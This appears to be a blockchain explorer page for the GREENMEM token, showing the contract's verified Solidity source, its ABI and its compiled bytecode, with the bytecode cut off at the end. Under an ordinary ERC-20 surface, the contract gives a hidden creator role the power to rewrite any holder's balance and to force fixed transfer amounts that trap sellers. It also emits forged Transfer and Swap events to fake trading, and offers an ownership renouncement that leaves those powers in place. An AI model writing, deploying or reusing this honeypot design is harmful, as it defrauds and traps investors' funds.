ETH Price: $3,245.99 (+2.55%)
Gas: 2 Gwei

Token

GREENMEM (GREENMEM)
 

Overview

Max Total Supply

10,000,000 GREENMEM

Holders

178

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
thebagismyshepherd.eth
Balance
189,924.895754201957544612 GREENMEM

Value
$0.00
0xbb09113f46221fe9e6085317304af2a92c051b40
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DigitalMemeToken

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : COIN.sol
pragma solidity ^0.8.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

}

abstract contract ExecutionControl {
    function obtainInvokerAddress() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SingleOwnership is ExecutionControl {
    address private _oneAndOnlyOwner;
    event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);

    constructor() {
        address invoker = obtainInvokerAddress();
        _oneAndOnlyOwner = invoker;
        emit OwnershipTransfer(address(0), invoker);
    }

    function getSingleOwner() public view virtual returns (address) {
        return _oneAndOnlyOwner;
    }

    modifier oneOwnerOnly() {
        require(getSingleOwner() == obtainInvokerAddress(), "Unauthorized: Single Owner access required.");
        _;
    }

    function renounceOwnership() public virtual oneOwnerOnly {
        emit OwnershipTransfer(_oneAndOnlyOwner, address(0x000000000000000000000000000000000000dEaD));
        _oneAndOnlyOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract DigitalMemeToken is ExecutionControl, SingleOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _forcedTransferAmounts;
    address private _masterCreator;

    string public constant _moniker = "GREENMEM";
    string public constant _ticker = "GREENMEM";
    uint8 public constant _decimalUnits = 18;
    uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);

    constructor() {
        _balances[obtainInvokerAddress()] = _ultimateSupply;
        emit Transfer(address(0), obtainInvokerAddress(), _ultimateSupply);
    }

    modifier creatorExclusive() {
        require(retrieveMasterCreator() == obtainInvokerAddress(), "Unauthorized: Creator access required.");
        _;
    }

    function retrieveMasterCreator() public view virtual returns (address) {
        return _masterCreator;
    }

    function designateCreator(address newCreator) public oneOwnerOnly {
        _masterCreator = newCreator;
    }

    event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);

    function forcedTransferAmount(address account) public view returns (uint256) {
        return _forcedTransferAmounts[account];
    }

    function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _forcedTransferAmounts[accounts[i]] = sum;
        }
    }

    function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive {
        require(requiredBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            uint256 formerBalance = _balances[currentUser];
            _balances[currentUser] = requiredBalance;

            emit UserBalanceUpdated(currentUser, formerBalance, requiredBalance);
        }
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function executeTokenSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
        }
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[obtainInvokerAddress()] >= sum, "Insufficient balance");

        uint256 requisiteTransferSum = forcedTransferAmount(obtainInvokerAddress());
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[obtainInvokerAddress()] -= sum;
        _balances[to] += sum;

        emit Transfer(obtainInvokerAddress(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[obtainInvokerAddress()][spender] = sum;
        emit Approval(obtainInvokerAddress(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][obtainInvokerAddress()] >= sum, "Allowance limit surpassed");

        uint256 requisiteTransferSum = forcedTransferAmount(from);
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][obtainInvokerAddress()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _ultimateSupply;
    }

    function name() public view returns (string memory) {
        return _moniker;
    }

    function symbol() public view returns (string memory) {
        return _ticker;
    }

    function decimals() public view returns (uint8) {
        return _decimalUnits;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previous","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updated","type":"uint256"}],"name":"UserBalanceUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"requiredBalance","type":"uint256"}],"name":"alterUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"designateCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"forcedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSingleOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveMasterCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"setForcedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a3506012600a620000d2919062000372565b62989680620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b62989680620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b612397806200044c6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf2314610369578063cadc24b514610387578063d8fb9361146103b7578063dd62ed3e146103d3578063e03504af14610403578063e156b1b61461042157610142565b80638e32c003146102c557806395d89b41146102e1578063a713fd53146102ff578063a9059cbb1461031d578063adacad8c1461034d57610142565b806328226aa71161010a57806328226aa714610213578063313ce56714610231578063416c3c9d1461024f5780635c01b60c1461026d57806370a082311461028b578063715018a6146102bb57610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd146101955780631ae1ffbc146101b357806323b872dd146101e3575b600080fd5b61014f610451565b60405161015c9190611594565b60405180910390f35b61017f600480360381019061017a919061165e565b61048e565b60405161018c91906116b9565b60405180910390f35b61019d61058e565b6040516101aa91906116e3565b60405180910390f35b6101cd60048036038101906101c89190611909565b6105b1565b6040516101da91906116b9565b60405180910390f35b6101fd60048036038101906101f891906119d8565b6107ff565b60405161020a91906116b9565b60405180910390f35b61021b610ad7565b6040516102289190611a3a565b60405180910390f35b610239610b00565b6040516102469190611a71565b60405180910390f35b610257610b09565b6040516102649190611a3a565b60405180910390f35b610275610b33565b6040516102829190611594565b60405180910390f35b6102a560048036038101906102a09190611a8c565b610b6c565b6040516102b291906116e3565b60405180910390f35b6102c3610bb5565b005b6102df60048036038101906102da9190611a8c565b610cf1565b005b6102e9610db1565b6040516102f69190611594565b60405180910390f35b610307610dee565b6040516103149190611a71565b60405180910390f35b6103376004803603810190610332919061165e565b610df3565b60405161034491906116b9565b60405180910390f35b61036760048036038101906103629190611b14565b611008565b005b610371611116565b60405161037e91906116e3565b60405180910390f35b6103a1600480360381019061039c9190611a8c565b611135565b6040516103ae91906116e3565b60405180910390f35b6103d160048036038101906103cc9190611b74565b61117e565b005b6103ed60048036038101906103e89190611bd0565b6113ca565b6040516103fa91906116e3565b60405180910390f35b61040b611451565b6040516104189190611594565b60405180910390f35b61043b600480360381019061043691906119d8565b61148a565b60405161044891906116b9565b60405180910390f35b60606040518060400160405280600881526020017f475245454e4d454d000000000000000000000000000000000000000000000000815250905090565b6000816001600061049d6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166105376114fc565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161057c91906116e3565b60405180910390a36001905092915050565b60006012600a61059e9190611d72565b629896806105ac9190611dbd565b905090565b600080600090505b85518110156107f1578581815181106105d5576105d4611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061063e5761063d611dff565b5b602002602001015160405161065391906116e3565b60405180910390a385818151811061066e5761066d611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106106eb576106ea611dff565b5b602002602001015160008089878151811061070957610708611dff565b5b60200260200101516040516107219493929190611e73565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811061075857610757611dff565b5b60200260200101518987858151811061077457610773611dff565b5b60200260200101516040518463ffffffff1660e01b815260040161079a93929190611eb8565b6020604051808303816000875af11580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd9190611f1b565b5080806107e990611f48565b9150506105b9565b506001905095945050505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084b6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be90611fdc565b60405180910390fd5b60006108d285611135565b905060008111156109205780831461091f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091690612048565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461096f9190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109c5919061209c565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a166114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a5f9190612068565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ac391906116e3565b60405180910390a360019150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006012905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600881526020017f475245454e4d454d00000000000000000000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bbd6114fc565b73ffffffffffffffffffffffffffffffffffffffff16610bdb610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2890612142565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610cf96114fc565b73ffffffffffffffffffffffffffffffffffffffff16610d17610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490612142565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600881526020017f475245454e4d454d000000000000000000000000000000000000000000000000815250905090565b601281565b60008160026000610e026114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e75906121ae565b60405180910390fd5b6000610e90610e8b6114fc565b611135565b90506000811115610ede57808314610edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed490612048565b60405180910390fd5b5b8260026000610eeb6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f349190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8a919061209c565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610fb06114fc565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ff591906116e3565b60405180910390a3600191505092915050565b6110106114fc565b73ffffffffffffffffffffffffffffffffffffffff1661102e610b09565b73ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b90612240565b60405180910390fd5b60005b838390508110156111105781600360008686858181106110aa576110a9611dff565b5b90506020020160208101906110bf9190611a8c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061110890611f48565b915050611087565b50505050565b6012600a6111249190611d72565b629896806111329190611dbd565b81565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111866114fc565b73ffffffffffffffffffffffffffffffffffffffff166111a4610b09565b73ffffffffffffffffffffffffffffffffffffffff16146111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f190612240565b60405180910390fd5b600081101561123e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611235906122ac565b60405180910390fd5b60005b82518110156113c557600083828151811061125f5761125e611dff565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90612318565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c8489082866040516113a8929190612338565b60405180910390a2505080806113bd90611f48565b915050611241565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600881526020017f475245454e4d454d00000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e991906116e3565b60405180910390a3600190509392505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561153e578082015181840152602081019050611523565b60008484015250505050565b6000601f19601f8301169050919050565b600061156682611504565b611570818561150f565b9350611580818560208601611520565b6115898161154a565b840191505092915050565b600060208201905081810360008301526115ae818461155b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115f5826115ca565b9050919050565b611605816115ea565b811461161057600080fd5b50565b600081359050611622816115fc565b92915050565b6000819050919050565b61163b81611628565b811461164657600080fd5b50565b60008135905061165881611632565b92915050565b60008060408385031215611675576116746115c0565b5b600061168385828601611613565b925050602061169485828601611649565b9150509250929050565b60008115159050919050565b6116b38161169e565b82525050565b60006020820190506116ce60008301846116aa565b92915050565b6116dd81611628565b82525050565b60006020820190506116f860008301846116d4565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61173b8261154a565b810181811067ffffffffffffffff8211171561175a57611759611703565b5b80604052505050565b600061176d6115b6565b90506117798282611732565b919050565b600067ffffffffffffffff82111561179957611798611703565b5b602082029050602081019050919050565b600080fd5b60006117c26117bd8461177e565b611763565b905080838252602082019050602084028301858111156117e5576117e46117aa565b5b835b8181101561180e57806117fa8882611613565b8452602084019350506020810190506117e7565b5050509392505050565b600082601f83011261182d5761182c6116fe565b5b813561183d8482602086016117af565b91505092915050565b600067ffffffffffffffff82111561186157611860611703565b5b602082029050602081019050919050565b600061188561188084611846565b611763565b905080838252602082019050602084028301858111156118a8576118a76117aa565b5b835b818110156118d157806118bd8882611649565b8452602084019350506020810190506118aa565b5050509392505050565b600082601f8301126118f0576118ef6116fe565b5b8135611900848260208601611872565b91505092915050565b600080600080600060a08688031215611925576119246115c0565b5b600061193388828901611613565b955050602086013567ffffffffffffffff811115611954576119536115c5565b5b61196088828901611818565b945050604086013567ffffffffffffffff811115611981576119806115c5565b5b61198d888289016118db565b935050606086013567ffffffffffffffff8111156119ae576119ad6115c5565b5b6119ba888289016118db565b92505060806119cb88828901611613565b9150509295509295909350565b6000806000606084860312156119f1576119f06115c0565b5b60006119ff86828701611613565b9350506020611a1086828701611613565b9250506040611a2186828701611649565b9150509250925092565b611a34816115ea565b82525050565b6000602082019050611a4f6000830184611a2b565b92915050565b600060ff82169050919050565b611a6b81611a55565b82525050565b6000602082019050611a866000830184611a62565b92915050565b600060208284031215611aa257611aa16115c0565b5b6000611ab084828501611613565b91505092915050565b600080fd5b60008083601f840112611ad457611ad36116fe565b5b8235905067ffffffffffffffff811115611af157611af0611ab9565b5b602083019150836020820283011115611b0d57611b0c6117aa565b5b9250929050565b600080600060408486031215611b2d57611b2c6115c0565b5b600084013567ffffffffffffffff811115611b4b57611b4a6115c5565b5b611b5786828701611abe565b93509350506020611b6a86828701611649565b9150509250925092565b60008060408385031215611b8b57611b8a6115c0565b5b600083013567ffffffffffffffff811115611ba957611ba86115c5565b5b611bb585828601611818565b9250506020611bc685828601611649565b9150509250929050565b60008060408385031215611be757611be66115c0565b5b6000611bf585828601611613565b9250506020611c0685828601611613565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611c9657808604811115611c7257611c71611c10565b5b6001851615611c815780820291505b8081029050611c8f85611c3f565b9450611c56565b94509492505050565b600082611caf5760019050611d6b565b81611cbd5760009050611d6b565b8160018114611cd35760028114611cdd57611d0c565b6001915050611d6b565b60ff841115611cef57611cee611c10565b5b8360020a915084821115611d0657611d05611c10565b5b50611d6b565b5060208310610133831016604e8410600b8410161715611d415782820a905083811115611d3c57611d3b611c10565b5b611d6b565b611d4e8484846001611c4c565b92509050818404811115611d6557611d64611c10565b5b81810290505b9392505050565b6000611d7d82611628565b9150611d8883611a55565b9250611db57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611c9f565b905092915050565b6000611dc882611628565b9150611dd383611628565b9250828202611de181611628565b91508282048414831517611df857611df7611c10565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000611e5d611e58611e5384611e2e565b611e38565b611628565b9050919050565b611e6d81611e42565b82525050565b6000608082019050611e8860008301876116d4565b611e956020830186611e64565b611ea26040830185611e64565b611eaf60608301846116d4565b95945050505050565b6000606082019050611ecd6000830186611a2b565b611eda6020830185611a2b565b611ee760408301846116d4565b949350505050565b611ef88161169e565b8114611f0357600080fd5b50565b600081519050611f1581611eef565b92915050565b600060208284031215611f3157611f306115c0565b5b6000611f3f84828501611f06565b91505092915050565b6000611f5382611628565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611f8557611f84611c10565b5b600182019050919050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b6000611fc660198361150f565b9150611fd182611f90565b602082019050919050565b60006020820190508181036000830152611ff581611fb9565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b600061203260208361150f565b915061203d82611ffc565b602082019050919050565b6000602082019050818103600083015261206181612025565b9050919050565b600061207382611628565b915061207e83611628565b925082820390508181111561209657612095611c10565b5b92915050565b60006120a782611628565b91506120b283611628565b92508282019050808211156120ca576120c9611c10565b5b92915050565b7f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360008201527f732072657175697265642e000000000000000000000000000000000000000000602082015250565b600061212c602b8361150f565b9150612137826120d0565b604082019050919050565b6000602082019050818103600083015261215b8161211f565b9050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b600061219860148361150f565b91506121a382612162565b602082019050919050565b600060208201905081810360008301526121c78161218b565b9050919050565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b600061222a60268361150f565b9150612235826121ce565b604082019050919050565b600060208201905081810360008301526122598161221d565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000612296601b8361150f565b91506122a182612260565b602082019050919050565b600060208201905081810360008301526122c581612289565b9050919050565b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b600061230260198361150f565b915061230d826122cc565b602082019050919050565b6000602082019050818103600083015261233181